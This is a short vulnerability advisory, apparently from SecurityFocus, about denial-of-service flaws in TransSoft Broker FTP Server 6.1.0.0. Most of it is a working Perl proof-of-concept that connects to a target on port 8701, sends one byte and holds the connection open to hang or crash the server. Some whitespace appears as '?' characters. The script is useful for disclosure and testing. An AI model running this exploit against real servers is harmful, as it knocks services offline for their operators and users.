source: https://www.securityfocus.com/bid/9680/info

It has been reported that Broker FTP Server may be prone to multiple denial of service vulnerabilities. These issues may allow a remote attacker to cause the software to crash or hang.

Broker FTP Server version 6.1.0.0 has been reported to be prone to these issues, however, other versions may be affected as well.

#!/usr/bin/perl -w
# TransSoft Broker FTP Server DoS (CPU usage and Exception)
#

use Socket;
if (not $ARGV[0]) {
? ? ? ? print qq~
? ? ? ? ? ? ? ? Usage: pfdos.pl < host>
? ? ? ? ~;
exit;}

$ip=$ARGV[0];
print "host: " . $ip . "\n\n";
sendexplt("A");
sub sendexplt {
?my ($pstr)=@_;
? ? ? ? $target= inet_aton($ip) || die("inet_aton
problems");
?socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
||0) ||
?die("Socket problems\n");
?if(connect(S,pack "SnA4x8",2,8701,$target)){
?select(S);
? ? ? ? ? ? ? ? $|=1;
?print $pstr;
?sleep 100;
? ? ? ? ?close(S);
?} else { die("Can't connect...\n"); }
}